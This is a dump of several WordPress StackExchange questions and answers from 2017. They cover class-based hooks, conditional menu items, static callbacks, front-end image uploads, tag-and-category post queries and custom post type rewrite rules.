[ { "answer_id": 282337, "author": "Mike", "author_id": 69112, "author_profile": "https://wordpress.stackexchange.com/users/69112", "pm_score": 1, "selected": false, "text": "<p>Careful where you are placing your brackets.</p>\n\n<p>The hook should look like;</p>\n\n<p><code>add_action('profile_update', array( $this, 'user_profile_update' ), 10, 2 );</code></p>\n\n<p>Note the close bracket after the method name</p>\n" }, { "answer_id": 282339, "author": "Mostafa Soufi", "author_id": 106877, "author_profile": "https://wordpress.stackexchange.com/users/106877", "pm_score": 0, "selected": false, "text": "<p>It's working:</p>\n\n<pre><code>public function __construct() {\n add_action( 'profile_update', array( &amp;$this, 'user_profile_update' ), 10, 2 );\n}\n\npublic function user_profile_update( $user_id, $old_user_data ) {\n die( var_dump( $old_user_data ) );\n}\n</code></pre>\n" } ]
2017/10/09
[ "https://wordpress.stackexchange.com/questions/282336", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129293/" ]
When I try to use profile\_update hook inside a class the callback function is not called. ``` public function __construct() { add_action('profile_update', array( $this, 'user_profile_update', 10, 2) ); } function user_profile_update( $user_id, $old_user_data ) { die(var_dump($old_user_data)); } ``` Outside the class the callback function works correctly.
Careful where you are placing your brackets. The hook should look like; `add_action('profile_update', array( $this, 'user_profile_update' ), 10, 2 );` Note the close bracket after the method name
282,347
<p>I have a WordPress site and I want to add a registration link for visitors.</p> <p>So, I added a menu item called 'REGISTER' with the following link:</p> <pre><code>http://mywebsite.com/wp-login.php?action=register </code></pre> <p>The problem is that this link opens the registration form for both users and visitors and I want to show it only to visitors.</p>
[ { "answer_id": 282348, "author": "Mahafuz", "author_id": 115945, "author_profile": "https://wordpress.stackexchange.com/users/115945", "pm_score": 2, "selected": false, "text": "<p>Add your registration or log in link inside of the <code>is_user_logged_in()</code> function. So If the current user not logged on your site then this function will show the login page for them and that user If not registered he/she must have to register in order to log in to your site.</p>\n\n<p>Code example:</p>\n\n<pre><code>&lt;?php\nif( !is_user_logged_in() ) {\n &lt;a href=\"&lt;?php echo wp_login_url(); ?&gt;\"&gt;Log in / Register&lt;/a&gt;\n}\n</code></pre>\n" }, { "answer_id": 282353, "author": "Amine Messaoudi", "author_id": 129298, "author_profile": "https://wordpress.stackexchange.com/users/129298", "pm_score": 1, "selected": true, "text": "<p>i fixed the problem with Nav Menu Roles plugin</p>\n\n<p>I added the registration link to the menu and with the plugin and i set it to only logged out users</p>\n\n<p>This way it won't show to logged users</p>\n" }, { "answer_id": 282357, "author": "Frank P. Walentynowicz", "author_id": 32851, "author_profile": "https://wordpress.stackexchange.com/users/32851", "pm_score": 1, "selected": false, "text": "<p>You can use <code>wp_nav_menu_items</code> filter to conditionally add a menu item. Add this code to your theme's <code>functions.php</code>:</p>\n\n<pre><code>function wpse_custom_menu_item( $items, $args ) {\n if( !is_user_logged_in() &amp;&amp; $args-&gt;theme_location == 'primary-menu' ) {\n $items .= '&lt;li&gt;&lt;a href=\"http://mywebsite.com/wp-login.php?action=register\"&gt;Register&lt;/a&gt;&lt;/li&gt;';\n }\n return $items;\n}\nadd_filter( 'wp_nav_menu_items', 'wpse_custom_menu_item', 10, 2 );\n</code></pre>\n" } ]
2017/10/09
[ "https://wordpress.stackexchange.com/questions/282347", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129298/" ]
I have a WordPress site and I want to add a registration link for visitors. So, I added a menu item called 'REGISTER' with the following link: ``` http://mywebsite.com/wp-login.php?action=register ``` The problem is that this link opens the registration form for both users and visitors and I want to show it only to visitors.
i fixed the problem with Nav Menu Roles plugin I added the registration link to the menu and with the plugin and i set it to only logged out users This way it won't show to logged users
282,369
<p>In my plugin, I would like to load css only when the front-end current page is using one of my plugin shortcodes.</p> <p>All my shortcodes are classes extending Shortcode class. Shortcode class helps me to automate the callback function.</p> <p><strong>Shortcode abstract class</strong></p> <pre><code>namespace PluginFoo\Shortcodes; abstract class Shortcode { public $tag; public $attrs; public $function; public function __construct($tag) { $this-&gt;attrs = array(); $this-&gt;tag = $tag; $this-&gt;function = static::className().'::getCallBack'; add_shortcode( $this-&gt;tag, $this-&gt;function ); } abstract public static function className(); abstract public static function getCallBack( $attrs ); } </code></pre> <p><strong>FooShortcode class</strong></p> <pre><code>namespace PluginFoo\Shortcodes; class FooShortcode extends Shortcode { public static function getCallBack( $attrs = null ){ add_action('wp_enqueue_scripts', array( __CLASS__, 'set_bootstrap' ) ); // &lt;-- Here - function set_bootstrap not called ! $output = ''; ob_start(); //HTML Template include_once 'shortcode-view.php'; $output .= ob_get_contents(); ob_end_clean(); return $output; } public static function set_bootstrap() { wp_enqueue_style( 'bootstrapstyle', PLUGIN_DIR_URL . 'css/bootstrap.min.css' ); } public static function className(){ return __CLASS__; } } </code></pre> <p>How can I call correcty the static function set_bootstrap() in add_action() inside an another static function ?</p>
[ { "answer_id": 282396, "author": "David Lee", "author_id": 111965, "author_profile": "https://wordpress.stackexchange.com/users/111965", "pm_score": 3, "selected": true, "text": "<p>If your class is called statically you need to use <code>get_called_class()</code> like this:</p>\n\n<pre><code>add_action('wp_enqueue_scripts', array( get_called_class(), 'set_bootstrap' ) );\n</code></pre>\n\n<p>since <code>$this</code> is not available. This also works if the class is extended.</p>\n" }, { "answer_id": 366598, "author": "Afshn", "author_id": 188073, "author_profile": "https://wordpress.stackexchange.com/users/188073", "pm_score": 1, "selected": false, "text": "<p>you can use classname::class\nfor example:</p>\n\n<pre><code>add_shortcodes(callback::class, 'callbackmethod');\n</code></pre>\n" } ]
2017/10/09
[ "https://wordpress.stackexchange.com/questions/282369", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128094/" ]
In my plugin, I would like to load css only when the front-end current page is using one of my plugin shortcodes. All my shortcodes are classes extending Shortcode class. Shortcode class helps me to automate the callback function. **Shortcode abstract class** ``` namespace PluginFoo\Shortcodes; abstract class Shortcode { public $tag; public $attrs; public $function; public function __construct($tag) { $this->attrs = array(); $this->tag = $tag; $this->function = static::className().'::getCallBack'; add_shortcode( $this->tag, $this->function ); } abstract public static function className(); abstract public static function getCallBack( $attrs ); } ``` **FooShortcode class** ``` namespace PluginFoo\Shortcodes; class FooShortcode extends Shortcode { public static function getCallBack( $attrs = null ){ add_action('wp_enqueue_scripts', array( __CLASS__, 'set_bootstrap' ) ); // <-- Here - function set_bootstrap not called ! $output = ''; ob_start(); //HTML Template include_once 'shortcode-view.php'; $output .= ob_get_contents(); ob_end_clean(); return $output; } public static function set_bootstrap() { wp_enqueue_style( 'bootstrapstyle', PLUGIN_DIR_URL . 'css/bootstrap.min.css' ); } public static function className(){ return __CLASS__; } } ``` How can I call correcty the static function set\_bootstrap() in add\_action() inside an another static function ?
If your class is called statically you need to use `get_called_class()` like this: ``` add_action('wp_enqueue_scripts', array( get_called_class(), 'set_bootstrap' ) ); ``` since `$this` is not available. This also works if the class is extended.
282,389
<p>Using this code: </p> <pre><code>add_filter( 'wp_nav_menu_items', 'my_custom_menu_item'); function my_custom_menu_item($items) { if(is_user_logged_in()) { $user=wp_get_current_user(); $name=$user-&gt;display_name; // or user_login , user_firstname, user_lastname $items .= '&lt;li&gt;&lt;a href=""&gt;Welcome '.$name.'&lt;/a&gt;&lt;/li&gt;'; } return $items; } </code></pre> <p>I am able to display the current logged in user's display Name into the navigation, but it replaces the current menu items. </p> <p>What would I need to make the Display name the parent item which I can then use the wordpress menu system for the sub items ? I assume id need some kind of placeholder in the menu like #place_holder# but am unsure how to get to that stage. </p>
[ { "answer_id": 282391, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 2, "selected": true, "text": "<p>Works fine for me, nothing is replaced, it's just appended to the navigation. Are you sure that it's not just a styling-issue? Have you looked at the document source to check if it really is replacing the other menu items?</p>\n\n<p>What exactly do you mean by making it the parent item? Do you want to turn </p>\n\n<pre><code>&lt;li&gt;&lt;a href=\"\"&gt;Item&lt;/a&gt;&lt;/li&gt;\n</code></pre>\n\n<p>into</p>\n\n<pre><code>&lt;li&gt;&lt;a href=\"\"&gt;Welcome $user&lt;/a&gt;\n &lt;ul&gt;\n &lt;li&gt;&lt;a href=\"\"&gt;Item&lt;/a&gt;&lt;/li&gt;\n &lt;/ul&gt;\n&lt;/li&gt;\n</code></pre>\n\n<p>in the end?</p>\n\n<p>To change your menu and make it easy &amp; maintainable, maybe you could use something like this:</p>\n\n<pre><code>add_filter( 'wp_nav_menu_objects', 'my_custom_menu_item');\nfunction my_custom_menu_item($items) {\n $remove_childs_of = array();\n foreach($items as $index =&gt; $item) {\n if($item-&gt;title == \"##currentuser##\") {\n if(is_user_logged_in()) {\n $user=wp_get_current_user();\n $name=$user-&gt;display_name; // or user_login , user_firstname, user_lastname\n $items[$index]-&gt;title = $name;\n }\n else {\n array_push($remove_childs_of, $item-&gt;ID);\n unset($items[$index]);\n }\n }\n if(!empty($remove_childs_of) &amp;&amp; in_array($item-&gt;menu_item_parent, $remove_childs_of)) {\n array_push($remove_childs_of, $item-&gt;ID);\n unset($items[$index]);\n }\n }\n return $items;\n}\n</code></pre>\n\n<p>The <code>wp_nav_menu_objects</code> filter allows us to work on the items before they get transformed into HTML. You'll have to add an Item to your menu that shows \"##currentuser##\". If a user is logged in, this menu item will show his name afterwards. If it is an anonymous user, the menu item and its submenues will be removed from the navigation.</p>\n" }, { "answer_id": 370680, "author": "abhishek yadav", "author_id": 191322, "author_profile": "https://wordpress.stackexchange.com/users/191322", "pm_score": -1, "selected": false, "text": "<p>//here is the simple code to display current or logged in username to display his her name\n// just code do widget section add php code widget wherever you want then add the following //codes</p>\nuser_login ) ) . '<br />';\n\n?> \n" } ]
2017/10/09
[ "https://wordpress.stackexchange.com/questions/282389", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/62291/" ]
Using this code: ``` add_filter( 'wp_nav_menu_items', 'my_custom_menu_item'); function my_custom_menu_item($items) { if(is_user_logged_in()) { $user=wp_get_current_user(); $name=$user->display_name; // or user_login , user_firstname, user_lastname $items .= '<li><a href="">Welcome '.$name.'</a></li>'; } return $items; } ``` I am able to display the current logged in user's display Name into the navigation, but it replaces the current menu items. What would I need to make the Display name the parent item which I can then use the wordpress menu system for the sub items ? I assume id need some kind of placeholder in the menu like #place\_holder# but am unsure how to get to that stage.
Works fine for me, nothing is replaced, it's just appended to the navigation. Are you sure that it's not just a styling-issue? Have you looked at the document source to check if it really is replacing the other menu items? What exactly do you mean by making it the parent item? Do you want to turn ``` <li><a href="">Item</a></li> ``` into ``` <li><a href="">Welcome $user</a> <ul> <li><a href="">Item</a></li> </ul> </li> ``` in the end? To change your menu and make it easy & maintainable, maybe you could use something like this: ``` add_filter( 'wp_nav_menu_objects', 'my_custom_menu_item'); function my_custom_menu_item($items) { $remove_childs_of = array(); foreach($items as $index => $item) { if($item->title == "##currentuser##") { if(is_user_logged_in()) { $user=wp_get_current_user(); $name=$user->display_name; // or user_login , user_firstname, user_lastname $items[$index]->title = $name; } else { array_push($remove_childs_of, $item->ID); unset($items[$index]); } } if(!empty($remove_childs_of) && in_array($item->menu_item_parent, $remove_childs_of)) { array_push($remove_childs_of, $item->ID); unset($items[$index]); } } return $items; } ``` The `wp_nav_menu_objects` filter allows us to work on the items before they get transformed into HTML. You'll have to add an Item to your menu that shows "##currentuser##". If a user is logged in, this menu item will show his name afterwards. If it is an anonymous user, the menu item and its submenues will be removed from the navigation.
282,395
<pre><code> if ($_FILES) { $uploaddir = wp_upload_dir(); $file = $_FILES[featured_image]; $uploadfile = $uploaddir['path'] . '/' . basename( $file['name'] ); move_uploaded_file( $file['tmp_name'] , $uploadfile ); $filename = basename( $uploadfile ); $wp_filetype = wp_check_filetype(basename($filename), null ); $attachment = array( 'post_mime_type' =&gt; $wp_filetype['type'], 'post_title' =&gt; preg_replace('/\.[^.]+$/', '', $filename), 'post_content' =&gt; '', 'post_status' =&gt; 'inherit', 'menu_order' =&gt; $_i + 1000 ); $attach_id = wp_insert_attachment( $attachment, $uploadfile ); // Make sure that this file is included, as wp_generate_attachment_metadata() depends on it. require_once(ABSPATH . "wp-admin" . '/includes/image.php'); require_once(ABSPATH . "wp-admin" . '/includes/file.php'); require_once(ABSPATH . "wp-admin" . '/includes/media.php'); // Generate the metadata for the attachment, and update the database record. $attach_data = wp_generate_attachment_metadata( $attach_id, $filename ); wp_update_attachment_metadata( $attach_id, $attach_data ); set_post_thumbnail( $new_job_id, $attach_id ); } </code></pre> <p>The images upload correctly and are set to the featured image for the selected post. The images also display like normal (except can only show full image size, can't load thumbnail size.) but in the media library on the backend the images are displayed as a page with a folded corner and you can't see the actual image.</p> <p>What am I doing wrong here?</p>
[ { "answer_id": 282399, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 2, "selected": true, "text": "<p>It appears you've taken the super long winded route and done each step of the upload manually.</p>\n\n<p>But why not use the sideloading function that does it all for you? The majority of your code can be replaced with this:</p>\n\n<pre><code>// These files need to be included as dependencies when on the front end.\nrequire_once( ABSPATH . 'wp-admin/includes/image.php' );\nrequire_once( ABSPATH . 'wp-admin/includes/file.php' );\nrequire_once( ABSPATH . 'wp-admin/includes/media.php' );\n\n$attach_id = media_handle_upload( 'featured_image', $new_job_id );\nif ( is_wp_error( $attach_id ) ) {\n // There was an error uploading the image.\n} else {\n // The image was uploaded successfully!\n}\n</code></pre>\n\n<p>From there you can set your post thumbnail etc, look up the documentation for <code>media_handle_upload</code> for more details, and remember to add a nonce check to your uploader or your site will probably get hacked</p>\n" }, { "answer_id": 282400, "author": "lukgoh", "author_id": 128475, "author_profile": "https://wordpress.stackexchange.com/users/128475", "pm_score": 0, "selected": false, "text": "<pre><code> if ($_FILES) {\n\n // Make sure that this file is included, as wp_generate_attachment_metadata() depends on it.\n require_once(ABSPATH . \"wp-admin\" . '/includes/image.php');\n require_once(ABSPATH . \"wp-admin\" . '/includes/file.php');\n require_once(ABSPATH . \"wp-admin\" . '/includes/media.php');\n\n $uploaddir = wp_upload_dir();\n\n $file = $_FILES[featured_image];\n\n $file_return = wp_handle_upload( $file, array('action' =&gt; 'tm_add_new_job' ) );\n\n if( isset( $file_return['error'] ) || isset( $file_return['upload_error_handler'] ) ) {\n\n return false;\n\n } else {\n\n $filename = $file_return['file'];\n\n $attachment = array(\n 'post_mime_type' =&gt; $file_return['type'],\n 'post_title' =&gt; preg_replace( '/\\.[^.]+$/', '', basename( $filename ) ),\n 'post_content' =&gt; '',\n 'post_status' =&gt; 'inherit',\n 'guid' =&gt; $file_return['url']\n );\n\n $attachment_id = wp_insert_attachment( $attachment, $file_return['url'] );\n\n // Generate the metadata for the attachment, and update the database record.\n $attachment_data = wp_generate_attachment_metadata( $attachment_id, $filename );\n wp_update_attachment_metadata( $attachment_id, $attachment_data );\n\n set_post_thumbnail( $new_job_id, $attachment_id );\n\n }\n\n }\n</code></pre>\n" } ]
2017/10/09
[ "https://wordpress.stackexchange.com/questions/282395", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128475/" ]
``` if ($_FILES) { $uploaddir = wp_upload_dir(); $file = $_FILES[featured_image]; $uploadfile = $uploaddir['path'] . '/' . basename( $file['name'] ); move_uploaded_file( $file['tmp_name'] , $uploadfile ); $filename = basename( $uploadfile ); $wp_filetype = wp_check_filetype(basename($filename), null ); $attachment = array( 'post_mime_type' => $wp_filetype['type'], 'post_title' => preg_replace('/\.[^.]+$/', '', $filename), 'post_content' => '', 'post_status' => 'inherit', 'menu_order' => $_i + 1000 ); $attach_id = wp_insert_attachment( $attachment, $uploadfile ); // Make sure that this file is included, as wp_generate_attachment_metadata() depends on it. require_once(ABSPATH . "wp-admin" . '/includes/image.php'); require_once(ABSPATH . "wp-admin" . '/includes/file.php'); require_once(ABSPATH . "wp-admin" . '/includes/media.php'); // Generate the metadata for the attachment, and update the database record. $attach_data = wp_generate_attachment_metadata( $attach_id, $filename ); wp_update_attachment_metadata( $attach_id, $attach_data ); set_post_thumbnail( $new_job_id, $attach_id ); } ``` The images upload correctly and are set to the featured image for the selected post. The images also display like normal (except can only show full image size, can't load thumbnail size.) but in the media library on the backend the images are displayed as a page with a folded corner and you can't see the actual image. What am I doing wrong here?
It appears you've taken the super long winded route and done each step of the upload manually. But why not use the sideloading function that does it all for you? The majority of your code can be replaced with this: ``` // These files need to be included as dependencies when on the front end. require_once( ABSPATH . 'wp-admin/includes/image.php' ); require_once( ABSPATH . 'wp-admin/includes/file.php' ); require_once( ABSPATH . 'wp-admin/includes/media.php' ); $attach_id = media_handle_upload( 'featured_image', $new_job_id ); if ( is_wp_error( $attach_id ) ) { // There was an error uploading the image. } else { // The image was uploaded successfully! } ``` From there you can set your post thumbnail etc, look up the documentation for `media_handle_upload` for more details, and remember to add a nonce check to your uploader or your site will probably get hacked
282,414
<p>How to query posts from categories with specific tags? For Example if I visit "<strong>localhost/tag/tutorial</strong>" the archive page would show all post from all category with tutorial tag.</p> <p>But the view would be seperated by category. For example:</p> <p>Category 1</p> <ul> <li>Category 1 Post 1 With tutorial tag</li> <li>Category 1 Post 2 with tutorial tag</li> </ul> <p>Category 2</p> <ul> <li>Category 2 Post 2 With tutorial tag</li> <li>Category 2 Post 10 With tutorial tag</li> </ul> <p>NB: The posts show in each categories with same tags.</p> <p>I have a code that show latest posts in each categories</p> <pre><code>&lt;?php $categories = get_categories(); foreach($categories as $category) { ?&gt; &lt;div class="CategoryPost"&gt; &lt;h2&gt;&lt;?php echo $category-&gt;name; ?&gt;&lt;/h2&gt; &lt;ul&gt; &lt;?php $post_args = array( 'category' =&gt; $category-&gt;term_id, 'numberposts' =&gt; 9999, 'orderby'=&gt; 'post_date', 'order' =&gt; 'ASC', 'post_type' =&gt; 'post' ); $posts = get_posts($post_args); foreach($posts as $post) { ?&gt; &lt;li id="post-&lt;?php the_ID(); ?&gt;"&gt;&lt;span&gt;&lt;?php the_time('d M Y') ?&gt;&lt;/span&gt; &lt;i class="Seperate"&gt;&amp;raquo;&lt;/i&gt; &lt;a href="&lt;?php the_permalink(); ?&gt;"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;/li&gt; &lt;?php } ?&gt; &lt;/ul&gt; &lt;/div&gt; &lt;?php } wp_reset_postdata(); ?&gt; </code></pre> <p>The code above would show latest posts in each category with this look.</p> <p>Category 1 Name</p> <ul> <li>Category 1 Post 1</li> <li>Category 1 Post 2</li> </ul> <p>Category 2 Name</p> <ul> <li>Category 1 Post 1</li> <li>Category 1 Post 2</li> </ul> <p>Category 3 Name</p> <ul> <li>Category 1 Post 1</li> <li>Category 1 Post 2</li> </ul> <p>I would like to make a tags archive that work with that template and the posts would be shown in each categories even the posts have the same tags.</p>
[ { "answer_id": 282421, "author": "Sid", "author_id": 110516, "author_profile": "https://wordpress.stackexchange.com/users/110516", "pm_score": 0, "selected": false, "text": "<p>Please try this one and let me know if it helps.</p>\n\n<pre><code>&lt;?php\n $categories = get_categories( array('hide_empty' =&gt; TRUE) );\n foreach($categories as $category) { ?&gt;\n &lt;?php\n $args=array(\n 'posts_per_page' =&gt; -1, \n 'tag' =&gt; 'tutorial',\n 'cat' =&gt; $category-&gt;term_id,\n );\n\n $the_query = new WP_Query( $args );\n\n if ( $the_query-&gt;have_posts() ) {\n ?&gt;\n &lt;div class=\"CategoryPost\"&gt;\n &lt;h2&gt;&lt;?php echo $category-&gt;name; ?&gt;&lt;/h2&gt;\n &lt;ul&gt;\n &lt;?php\n echo '&lt;ul&gt;';\n while ( $the_query-&gt;have_posts() ) {\n $the_query-&gt;the_post();\n echo '&lt;li&gt;' . get_the_title() . '&lt;/li&gt;';\n }\n echo '&lt;/ul&gt;&lt;/ul&gt;&lt;/div&gt;';\n } \n ?&gt;\n\n &lt;?php }\n wp_reset_postdata(); ?&gt;\n</code></pre>\n\n<p>P.S. I have just printed the post title. If this works for you, please add other parameters to print as well.</p>\n\n<p>Thanks</p>\n\n<p>EDIT: to display for all tags.</p>\n\n<pre><code> &lt;?php \n $tags_array = get_tags();\n $categories = get_categories( array('hide_empty' =&gt; TRUE) );\n foreach($tags_array as $tag){\n foreach($categories as $category) { ?&gt;\n &lt;?php\n $args=array(\n 'posts_per_page' =&gt; -1, \n 'tag_id' =&gt; $tag-&gt;term_id,\n 'cat' =&gt; $category-&gt;term_id,\n );\n\n $the_query = new WP_Query( $args );\n\n if ( $the_query-&gt;have_posts() ) {\n ?&gt;\n &lt;div class=\"CategoryPost\"&gt;\n &lt;h2&gt;&lt;?php echo \"Tag: \" . $tag-&gt;name; ?&gt;&lt;/h2&gt;\n &lt;h2&gt;&lt;?php echo \"Category: \" . $category-&gt;name; ?&gt;&lt;/h2&gt;\n &lt;ul&gt;\n &lt;?php\n echo '&lt;ul&gt;';\n while ( $the_query-&gt;have_posts() ) {\n $the_query-&gt;the_post();\n echo '&lt;li&gt;Post title: ' . get_the_title() . '&lt;/li&gt;';\n }\n echo '&lt;/ul&gt;&lt;/ul&gt;&lt;/div&gt;&lt;br&gt;';\n } \n ?&gt;\n\n &lt;?php } }\n wp_reset_postdata(); ?&gt;\n</code></pre>\n" }, { "answer_id": 282424, "author": "BlueSuiter", "author_id": 92665, "author_profile": "https://wordpress.stackexchange.com/users/92665", "pm_score": 0, "selected": false, "text": "<p>@GaroPpo Here, is tweaked code which I suggested to you. I hope this will full-fill you requirement.</p>\n\n<pre><code>&lt;?php\n $tag_id = array(12, 13, 14);\n $taxonomy = 'testimonial-category';\n $postType = 'testimonial';\n $terms = get_terms(['taxonomy' =&gt; $taxonomy, 'orderby' =&gt; 'term_id', 'hide_empty' =&gt; true]);\n?&gt; &lt;div class=\"add-accordion\"&gt; &lt;?php\n foreach($terms as $term){\n if($term-&gt;parent == 0){\n echo '&lt;h3&gt;' . $term-&gt;name . '&lt;/h3&gt;';\n continue;\n } $posts = get_posts(array('post_status' =&gt;'publish','post_type' =&gt; $postType, 'tag__in' =&gt; $tag_id,\n array(\n 'taxonomy' =&gt; $taxonomy,\n 'field' =&gt; 'term_id',\n 'terms' =&gt; $term-&gt;term_id,\n ),));\n ?&gt;\n &lt;div class=\"add-accordion\"&gt;\n &lt;h3&gt;&lt;?php echo $term-&gt;name ?&gt;&lt;/h3&gt;\n &lt;div class=\"add-accordion\"&gt;\n &lt;?php foreach($posts as $post){ ?&gt;\n &lt;h3&gt;&lt;?php echo $post-&gt;post_title ?&gt;&lt;/h3&gt;\n &lt;div class=\"\"&gt;\n &lt;?php echo get_the_content($post-&gt;ID) ?&gt;\n &lt;/div&gt;\n &lt;?php } ?&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n &lt;?php\n }\n?&gt;\n</code></pre>\n" }, { "answer_id": 282427, "author": "Sid", "author_id": 110516, "author_profile": "https://wordpress.stackexchange.com/users/110516", "pm_score": 3, "selected": true, "text": "<p>This will help to get the category post on tag archive page. Let me know.</p>\n\n<pre><code>&lt;?php \n\n $current_tag = single_tag_title( $prefix = '', $display = false );\n $categories = get_categories( array('hide_empty' =&gt; TRUE) );\n foreach($categories as $category) { ?&gt;\n &lt;?php\n $args=array(\n 'posts_per_page' =&gt; -1, \n 'tag' =&gt; $current_tag,\n 'cat' =&gt; $category-&gt;term_id,\n );\n\n $the_query = new WP_Query( $args );\n\n if ( $the_query-&gt;have_posts() ) {\n ?&gt;\n &lt;div class=\"CategoryPost\"&gt;\n &lt;h2&gt;&lt;?php echo \"Tag: \" . $current_tag; ?&gt;&lt;/h2&gt;\n &lt;h2&gt;&lt;?php echo \"Category: \" . $category-&gt;name; ?&gt;&lt;/h2&gt;\n &lt;ul&gt;\n &lt;?php\n echo '&lt;ul&gt;';\n while ( $the_query-&gt;have_posts() ) {\n $the_query-&gt;the_post();\n echo '&lt;li&gt;Post title: ' . get_the_title() . '&lt;/li&gt;';\n }\n echo '&lt;/ul&gt;&lt;/ul&gt;&lt;/div&gt;&lt;br&gt;';\n } \n ?&gt;\n\n &lt;?php } \n wp_reset_postdata();\n</code></pre>\n" } ]
2017/10/10
[ "https://wordpress.stackexchange.com/questions/282414", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129329/" ]
How to query posts from categories with specific tags? For Example if I visit "**localhost/tag/tutorial**" the archive page would show all post from all category with tutorial tag. But the view would be seperated by category. For example: Category 1 * Category 1 Post 1 With tutorial tag * Category 1 Post 2 with tutorial tag Category 2 * Category 2 Post 2 With tutorial tag * Category 2 Post 10 With tutorial tag NB: The posts show in each categories with same tags. I have a code that show latest posts in each categories ``` <?php $categories = get_categories(); foreach($categories as $category) { ?> <div class="CategoryPost"> <h2><?php echo $category->name; ?></h2> <ul> <?php $post_args = array( 'category' => $category->term_id, 'numberposts' => 9999, 'orderby'=> 'post_date', 'order' => 'ASC', 'post_type' => 'post' ); $posts = get_posts($post_args); foreach($posts as $post) { ?> <li id="post-<?php the_ID(); ?>"><span><?php the_time('d M Y') ?></span> <i class="Seperate">&raquo;</i> <a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></li> <?php } ?> </ul> </div> <?php } wp_reset_postdata(); ?> ``` The code above would show latest posts in each category with this look. Category 1 Name * Category 1 Post 1 * Category 1 Post 2 Category 2 Name * Category 1 Post 1 * Category 1 Post 2 Category 3 Name * Category 1 Post 1 * Category 1 Post 2 I would like to make a tags archive that work with that template and the posts would be shown in each categories even the posts have the same tags.
This will help to get the category post on tag archive page. Let me know. ``` <?php $current_tag = single_tag_title( $prefix = '', $display = false ); $categories = get_categories( array('hide_empty' => TRUE) ); foreach($categories as $category) { ?> <?php $args=array( 'posts_per_page' => -1, 'tag' => $current_tag, 'cat' => $category->term_id, ); $the_query = new WP_Query( $args ); if ( $the_query->have_posts() ) { ?> <div class="CategoryPost"> <h2><?php echo "Tag: " . $current_tag; ?></h2> <h2><?php echo "Category: " . $category->name; ?></h2> <ul> <?php echo '<ul>'; while ( $the_query->have_posts() ) { $the_query->the_post(); echo '<li>Post title: ' . get_the_title() . '</li>'; } echo '</ul></ul></div><br>'; } ?> <?php } wp_reset_postdata(); ```
282,423
<p>I've gone through four or five Codex pages, a dozens Stackexchange pages, and four or five dev blogs trying to solve this. </p> <p>I have a custom post type called authors. The CPT is set up correctly, I pulled the CPT framework from the Codex, and I've checked it against a CPT generator. The Admin screens create, edit, and list Author posts correctly, and the URLs are in the correct format of <code>example.com/author/post_name/</code>. Author archives also work. </p> <p>But nothing I do will display that page on the front end. It's nothing but 404s. </p> <p>I have flushed the rewrite a dozen times though the Permalinks page and WP-CLI. I have also installed Custom Post Type Permalinks and have the same issue. </p> <p>CPT is here:</p> <pre><code>add_action( 'init', 'to4_cpt_author' ); function to4_cpt_author() { $labels = array( 'name' =&gt; _x( 'Authors', 'post type general name' ), 'singular_name' =&gt; _x( 'Author', 'post type singular name' ), 'menu_name' =&gt; _x( 'Authors', 'admin menu' ), 'name_admin_bar' =&gt; _x( 'Author', 'add new on admin bar' ), 'add_new' =&gt; _x( 'Add New', 'author' ), 'add_new_item' =&gt; __( 'Add New Author' ), 'new_item' =&gt; __( 'New Author' ), 'edit_item' =&gt; __( 'Edit Author' ), 'view_item' =&gt; __( 'View Author' ), 'all_items' =&gt; __( 'All Authors' ), 'search_items' =&gt; __( 'Search Authors' ), 'parent_item_colon' =&gt; __( 'Parent Authors:' ), 'not_found' =&gt; __( 'No authors found.' ), 'not_found_in_trash' =&gt; __( 'No authors found in Trash.' ) ); $args = array( 'labels' =&gt; $labels, 'description' =&gt; __( 'Author post type.' ), 'public' =&gt; true, 'publicly_queryable' =&gt; true, 'show_ui' =&gt; true, 'show_in_menu' =&gt; true, 'query_var' =&gt; 'author', 'rewrite' =&gt; array('slug' =&gt; 'author', 'with_front' =&gt; true ), 'capability_type' =&gt; 'post', 'has_archive' =&gt; true, 'hierarchical' =&gt; false, 'menu_position' =&gt; 9, 'supports' =&gt; array( 'title', 'editor', 'author', 'thumbnail', 'excerpt', 'comments' ), 'taxonomies' =&gt; array( 'admin_tag', 'post_tag' ), 'menu_icon' =&gt; 'dashicons-id-alt' ); register_post_type( 'author', $args ); } </code></pre> <p>I've installed the Query Monitor plugin and it tell me the following rewrites are matched. </p> <pre><code>All Matching Rewrite Rules Rule Query ([^/]*)/([^/]*)/?$ post_type=post &amp;name=$matches[2] &amp;meta=$matches[1] ^author/([^/]*)/? post_type=author &amp;name=$matches[1] author/([^/]+)(?:/([0-9]+))?/?$ author=$matches[1] &amp;page=$matches[2] (.?.+?)(?:/([0-9]+))?/?$ pagename=$matches[1] &amp;page=$matches[2] </code></pre> <p>The second query <code>^author/([^/]*)/?</code> is one I wrote using:</p> <pre><code>function to4_rewrite_rule() { add_rewrite_rule( '^author/([^/]*)/?', 'index.php?post_type=author&amp;name=$matches[1]','top' ); } add_action('init', 'to4_rewrite_rule', 10, 0); </code></pre> <p>But the top query seems to be getting matched first, which is why I am getting 404s. Query Monitor shows the generated query as <code>name=catherine-collins&amp;post_type=post</code> when it should be <code>name=catherine-collins &amp;post_type=author</code></p> <p>Where is that query coming from and how do I demote it? There's no other <code>add_rewrite_rule</code> anywhere in my theme or any plugin so I am guessing this is core. The theme is Twenty-Seventeen with my own custom plugin defining several Custom Post Types. </p>
